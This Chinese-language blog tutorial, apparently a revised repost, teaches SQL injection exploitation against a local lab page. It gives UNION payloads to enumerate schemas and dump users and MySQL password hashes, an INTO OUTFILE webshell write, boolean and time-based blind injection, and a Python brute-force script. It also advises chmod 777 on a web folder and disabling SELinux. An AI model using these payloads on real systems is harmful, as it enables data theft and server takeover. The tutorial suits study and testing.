渗透攻防web篇-sql注入攻击中级

Preface

找到SQL注入漏洞后,我们可以用它来干什么呢?那么本篇文章给大家带来的就是SQL注入漏洞利用技术,现在是时候让我们去体验一下漏洞利用的乐趣了。


目录

第三节 利用SQL注入

  • 3.1 识别数据库
  • 3.2 UINON语句提取数据
  • 3.3 枚举数据库
  • 3.4 窃取哈希可令
  • 3.5 获取WebShell

第四节 SQL盲注利用

  • 4.1 初识SQL盲注
  • 4.2 SQL盲注入技术-基于布尔
  • 4.3 SQL盲注入技术-基于时间
  • 4.4 我们的好朋友-Python

正文

第三节 利用SQL注入

3.1 识别数据库

要想发动SQL注入攻击,就要知道正在使用的系统数据库,不然就没法提取重要的数据。

首先从Web应用技术上就给我们提供了判断的线索:

服务类型 数据库大版本
ASP和.NET Mircosoft SQL Server
PHP MySQL, PostgreSQL
Java Oracle, MySQL

底层操作系统也给我们提供了线索,比如安装IIS作为服务器平台,后台数据及很有可能是Microsoft SQL Server,而允许Apache和PHP的Linux服务器就很有可能使用开源的数据库,比如MySQL和PostgreSQL。

基于错误识别数据库

大多数情况下,要了解后台是什么数据库,只需要看一条详细的错误信息即可。比如判断我们事例中使用的数据库,我们加个单引号。

error:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

从错误信息中,我们就可以发现是MariaDB,也就是MySQL的分支。

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'   
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1:

上面错误信息可以发现是Microsoft SQL Server,如果错误信息开头是ORA,就可以判断数据库是Oracle,很简单,道理都是一样的,就不一一列举了。

基于数字函数推断

数据库服务器 函数
Microsoft SQL Server @@pack_received, @@rowcount
MySQL connection_id(), last_insert_id(), row_count()
Oracle BITAND(1,1)
PostgreSQL select EXTRACT(DOW FROM NOW())

这里以我们搭建的环境为例来做推断:

connection_id()不管它值多少,基本上都是正的,也就是为真,last_insert_id()用法大家自行百度,这里不存在insert语句,默认情况就是返回零,也就是假。

那么如果and connection_id()数据返回正常,and connection_id()不返回数据,我们就可以推断这是一个MySQL数据库了。

connection_id.gif

3.2 UINON语句提取数据

UNION操作符可以合并两条或多条SELECT语句的查询结果,基本语法如下:

select column1 column2 from table1   
UNION   
select column1 column2 from table2

如果应用程序返回了第一条查询得到的数据,我们就可以在第一条查询后面注入一个UNION运算符来添加一个任意查询,来提取数据,是不是很容易啊,当然在使用UNION之前我们必须要满足两个条件:

  1. 两个查询返回的列数必须相同
  2. 两个查询语句对于列返回的数据类型必须相同

首先我来看第一个条件,如何知道第一条查询的列数呢?我们可以使用NULL来尝试,由于NULL值会被转换成任何数据类型,所以我们不用管第二个条件。

57e54e29830f4.gif

就是这样的一个个加上去进行尝试,直到不返回错误。

神奇的ORDER BY子句

除了上述方法,我们还可以是用order by子句得到准确列数
57e54e8e25ebd.gif

我们先尝试了12,返回错误,说明列数是小于12的,我们继续尝试了6,返回错误,同理,列数小于6的,我们尝试3,返回正常,说明列数是大于等于3的,继续尝试4,返回错误。说明列数是小于4,列数大于等于3,小于4,可以得到列数是3。使用order by子句可以帮助我们快速得到列数。

得到列数后我们还需要满足第二个条件:
57e54eaff1d3f.gif

很简单,只要一次一列使用我们的测试字符串替换NULL即可,可以发现第一列和第二列都可以存放字符串,第三列数据没有输出。

我们通常将第一列和第二列这种可以显示数据的地翻,俗称为“回显位”

接下来就让我们提取数据库用户名和版本号:
57e54efb6e1e1.gif

3.3 枚举数据库

这里由于篇幅问题,我们只以MySQL数据库为例了,枚举数据库并提取数据遵循一种层次化的方法,首先我们提取数据库名称,然后提取表,再到列,最后才是数据本身。要想获取远程数据库的表、列,就要访问专门保存描述各种数据库结构的表。通常将这些结构描述信息成为元数据。在MySQL中,这些表都保存在information_schema数据库中

第一步:提取数据库

在MySQL中,数据库名存放在information_schema数据库下schemataschema_name字段中

payload为:

http://localhost/pwn/sql.php?id=1 union select null,schema_name,null from information_schema.schemata

如图:
getDataBase.png

第二步:提取表名

在MySQL中,表名存放在information_schema数据库下tablestable_name字段中

payload为:

http://localhost/pwn/sql.php?id=1 union select null,table_name,null from information_schema.tables where table_schema='SQLInjection'

如图:
getTables.png

第三步:提取字段名

在MySQL中,字段名存放在information_schema数据库下columnscolumn_name字段中
payload为:

http://localhost/pwn/sql.php?id=1 union 
select null,column_name,null from information_schema.columns 
where table_name='users' and table_schema='SQLInjection'

如图:
getColumns.png

第四步:提取数据

payload为:

http://localhost/pwn/sql.php?id=1 union select username, password, null from users

如图:
getData.png

3.4 窃取哈希口令

MySQL在mysql.user表中存储哈希口令,怎么提取看下图:
getHashOfPassword.png

而口令是通过password()函数计算出来的,如图:
PasswordHash.png

很显然,当两个hash值不同的时候就是密码不一样的意思,具体的算法是看MySQL的版本的(我用的是MariaDB--MySQL的一个分支)

具体应用:
payload为:

http://localhost/pwn/sql.php?id=1 union select user, password, null from mysql.user;

如图:
hashPaylod.png

扩展内容:为什么一个表中会存有三个一样的数据呢?
答:其实不然。mysql 的登陆用户是可以限制某个用户在某个IP才能登陆的,所以你看到一个用户有多条数据也是不奇怪,mysql.user表中是以[host:username]标准来定义数据的。我们看下面的图就明白了
57e5552db5db4.png
懂了吧,这下?

3.5 获取WebShell

利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。

select into outfile(dumpfile)  //MySQL写文件命令

例如:

select "<?php echo 'test'; ?>" into outfile "/var/www/html/attack.php";

具体应用:
(不得不吐槽,原文作者在此处以及前面后面省略了太多的东西了!!)
payload为:

http://localhost/pwn/sql.php?id=1 union select null,
"<?php echo 'Eat';?>", null into outfile "/var/www/html/pwn/attack.php"

正常情况下你应该会得到一个表格的页面。
我的情况是:

error:Can't create/write to file '/var/www/html/pwn/attack.php' (Errcode: 13 "Permission denied")

因为什么呢?

  • 首先,/var/www/html/pwn这个目录只是root用户有读写权限,其他人没有写权限;
  • 其次,我打开了SELinux,这个东西可以保护特定的目录读写情况;

但是,我的这种情况也是属于语句成功的情况之一(只是因为外因而已)。成功写进去的实例我就不演示了,如果你是linux环境,chmod 777 <your_directiory> 然后关掉SELinux就可以了。如果有问题,可以在底下留言给我,我可以帮你解决SELinux的问题,如果不想关闭SELinux的话。


第四节 SQL盲注利用

4.1 初识SQL盲注

SQL盲注是指在无法使用详细数据库错误消息或带内数据连接的情况下,利用数据库查询的输入审查漏洞从数据库提取信息或提取与数据库查询相关信息的技术。

常见的SQL盲注入场景:

  • 提交一个导致SQL查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容可被适度控制的页面。

  • 提交一个导致SQL查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容不可控的页面。

  • 提交受损或不正确的SQL既不会产生错误页面,也不会以任何方式影响页面输出。

4.2 SQL盲注入技术-基于布尔型

了解完SQL定义以及这类漏洞的注入场景后,现在我带大家深入研究利用这些漏洞的技术。

首先我们我们提交错误的SQL,看资源是否返回通用的错误页面。

57e557751bf41.gif
我们能控制页面的输出结果吗?
57e5578a1ee86.gif
显然可以

id=1 and 1=1 True   
id=1 and 1=2 False

怎么利用?

在介绍利用技巧之前我们先来介绍一个重要的SQL函数

SUBSTRING(str,pos,len)
#没有len参数的形式返回一个字符串从字符串str从位置pos开始。
#一个len参数的形式返回len个字符长的字符串str的子串,从位置pos开始,形式使用的是标准的SQL语法。
#另外,也可以使用负的值为pos。
#在这种情况下,刚开始的子串位置的字符结尾的字符串,而不是开始。负的值可用于为pos在此函数中的任何形式的。

没有len参数的形式返回一个字符串从字符串str从位置pos开始。一个len参数的形式返回len个字符长

举例利用-获取数据的用户名
57e557e1b12a1.gif

id=1 and SUBSTRING(user(),1,1)='a'   
#利用SUBSTRING()函数提取用户名的第一个字符,看等于字符a吗?,如果等于页面返回True状态,不等于返回False状态。
id=1 and SUBSTRING(user(),1,1)='r'   
#返回True状态,也就是页面正常,表示用户名第一个字符是r

这也就是基于布尔的SQL盲注入技术

4.3 SQL盲注入技术-基于时间

和基于布尔的SQL盲注入技术原理其实大同小异,当某一状态为真时,让响应暂停几秒钟,而当状态为假时,不出现暂停。

id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null   
#注意使用union的条件哦,前面介绍了。同样的道理,提取用户名前四个字符做判断,正确就延迟4秒,错误返回1

57e5586bc6d4a.gif

4.4 我们的好朋友-Python

使用Python自动化注入获取用户名事例:
代码:

#!/bin/env python
# coding=utf-8

import requests


def attack():
    print('launch an attack')
    url = 'http://localhost/pwn/sql.php'
    user = '[+]system_user: '


    # 可以对应ASCII码表查看
    # SpecialLetter: ! # & * etc.
    specialLetter = range(33, 65)
    # Letter: [ \ ] ^ - a b c d e etc
    normalLetter = range(91, 128)
    # 如果你不知道这个是包括了哪些,可以尝试单独打印
    # 该码表中只包括了小写和特殊字符
    sumChar = specialLetter + normalLetter


    # 当然,也有可能超过15个字符长度,可以自己调整
    for startChar in range(1, 16):
        for i in sumChar:
            # 此处的payload的`and`前面一定要加空格!!不然会导致程序失效
            payload = " and SUBSTRING(user()," + str(startChar) + \
                ",1)='" + chr(i) + "'"
            payload = {'id': '1' + payload}
            request = requests.get(url, params=payload)
            pageText = request.text
            pageText = pageText.encode("utf-8")
            result = pageText.find("Jim")
            if(result != -1):
                user = user + chr(i)
                print(user)

if __name__ == '__main__':
    attack()
    print('[+]OK')

代码中难以理解的我都加了注释了,如果有不懂什么意思的,可以在底下留言

运行情况:
AttackShow.png

以下为扩展:
其实,这个脚本还是有问题存在的,不过这里只是起到一个演示的作用而已,所以不必过多指摘。但是问题还是要提出来的。

MySQL不区分大小写!!!
如以下两幅图证明:
小写的一张:
57e55d59b457c.png
大写的一张:
57e55d6c23ab6.png

我想,大家应该能够看到,虽然我的用户名是root,第一个是r,小写的,但是大写的R仍然灰返回正确的结果。辣么,这个就问题来了,这个脚本没有把大写的字母加进去。

也就是说,如果有额外的管理员用户名(在实际生产环境中,一般都不会把使用root用户执行SQL语句的,一般都会添加额外的帐户)有大写,比如:Admin,那么,这个脚本就不起作用了。

所以,还需要将大小写的几种情况罗列出来,自己去实践试才能得到真正的用户名。

=================================================

好了,今天到此为止了。


后续

首先,本文不仅仅是转载,更是二次的整理与提升,因为原文有很多很多的错误!如果对特定知识不了解就会很容易造成理解上的鸿沟,然后阅读并理解就很困难。 现在的作者编者们都太过心浮气躁,为了数量而不关注文章的质量,望其他人可以谨记贯彻。

此外,文中的GIF图均来自于原文,因为我没有工具制作GIF图,内容稍微不同,不过基本相同,不影响理解。

原文:http://bbs.ichunqiu.com/thread-9668-1-1.html

原文:https://591linux.com/topic/21/gg%E6%B8%97%E9%80%8F%E6%94%BB%E9%98%B2web%E7%AF%87-sql%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB%E4%B8%AD%E7%BA%A7

再次说明:原文有很多的错误!!不建议该领域新手去阅读

展开阅读全文

没有更多推荐了,返回首页